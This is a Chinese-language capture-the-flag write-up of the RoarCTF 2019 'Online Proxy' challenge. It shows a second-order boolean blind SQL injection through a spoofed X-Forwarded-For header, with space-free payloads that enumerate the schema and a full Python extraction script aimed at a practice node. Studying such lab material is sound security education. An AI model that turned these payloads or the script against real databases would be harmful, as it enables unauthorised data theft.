Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说
[RoarCTF 2019]Online Proxy,希望能够帮助你!!!。
看他提示
输个分号进去
换brupsuit做算了
这里的注释代码很重要,发现他存入了我们的ip
利用X-Forwarded-For篡改ip,(我的bp只能小写传入),可以发现
ip被保存并输出了
更改ip地址后,发现回显了last-ip
既然他的last-ip和current-ip会更新,由此可以猜想他与数据库进行了交互,不然last-ip怎么来的。
由于他这里是先回显current-ip,所以可以猜测后端sql语句,插入和更新
猜测后端sql语句
INSERT INTO table_name (current-ip,last-ip ) VALUES ('$current-ip','$last-ip' );
但是由于这题有回显,因此,可以考虑二次注入
我自己采用的是布尔盲注
我是从下面这篇题解得知sql闭合语句的(我这个废物肯定是想不到的)
这篇跟我的方法不同,我暂时看不懂他的做法,感兴趣的可以去看下,我先用我自己构想的盲注来做
另外一种方法
先将盲注语句输入
0' or ascii(substr((select(database())),1,1))>100 or '0
再随便输入一个值
这时候我们的语句还没有执行,只是将我们输入的值 写出来而已,再send一次
可以发现我们的sql语句返回了一个0,说明他第一个字符不是大于100
我们改成1试试
他返回的是1,所以根据这个布尔回显,来进行布尔盲注
这题有个坑,必须得group_concat()查询所有库名,当前的库名并不是flag的所在地我是真tm吐了
这题还过滤了空格
我之前翻到很多博客都是没考虑过滤空格的,可能是当时环境问题吧
查库名
payload
0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0
所有库名如下
information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
很熟悉吧,这就是flag的库名
接着查这个库的表名
payload
0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),1,1))>1 or '0
表名为F4l9_t4b1e
查列名
payload
0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),1,1))>1 or '0
列名为F4l9_C01uMn
查flag
payload
0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),1,1))>1 or '0
最后的exp如下
import requests url = "http://node3.buuoj.cn:25174/" #这个head头好像必须加cookie head ={
"X-Forwarded-For":"", "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e" } # #查库名 # payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0" # #查表名 # payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0" # #查列名 # payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0" #查flag payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0" flag ="" for i in range(1,1000): low = 32 high =137 mid = (low+high)//2 while(low < high): print(i,mid) '''插入sql语句''' payload1 = payload.format(i,mid) head["X-Forwarded-For"] = payload1 print(head["X-Forwarded-For"]) r = requests.get(url,headers=head) '''重新发送两次请求''' head["X-Forwarded-For"]= "penson" r = requests.get(url,headers=head) r = requests.get(url,headers=head) if "Last Ip: 1 " in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break flag +=chr(mid) print(flag) print(flag)
今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
上一篇
已是最后文章
下一篇
已是最新文章